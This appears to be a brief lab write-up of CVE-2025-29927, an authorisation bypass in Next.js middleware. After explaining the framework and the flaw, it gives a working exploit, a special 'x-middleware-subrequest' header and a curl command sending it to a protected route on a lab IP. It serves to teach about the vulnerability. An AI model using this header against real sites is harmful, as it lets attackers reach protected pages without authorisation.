# Next.js CVE-2025-29927
Next.js is a web development framework developed by Vercel to simplify the creation of high-performance web applications. Built on top of React, Next.js extends React’s capabilities by adding several features, such as static site generation (SSG) and server-side rendering (SSR). SSG pre-generates pages at build time, allowing faster delivery to users; moreover, SSR renders pages at request time, reducing load time. In brief, Next.js added features to improve performance and user experience.
CVE-2025-29927, a recent vulnerability discovered by Rachid and Yasser Allam in Next.js, revealed that it is possible to bypass authorisation checks if they occur in middleware. Middleware is the part that grants developers control over incoming requests. It acts as a bridge between the incoming request and the routing system. The routing system is file-based, i.e., routes are created and managed by organising files and directories. This vulnerability allows attackers to bypass middleware-based authorisation, and all versions before 14.2.25 and 15.2.3 are prone to this vulnerability.
## Exploitation using Curl
We can exploit this CVE by using a Special Header
```python
x-middleware-subrequest: middleware
```
```
curl -H "x-middleware-subrequest: middleware" http://10.10.207.214:3000/protected
```
## Exploitation using BurpSuite
Without Header
With Header
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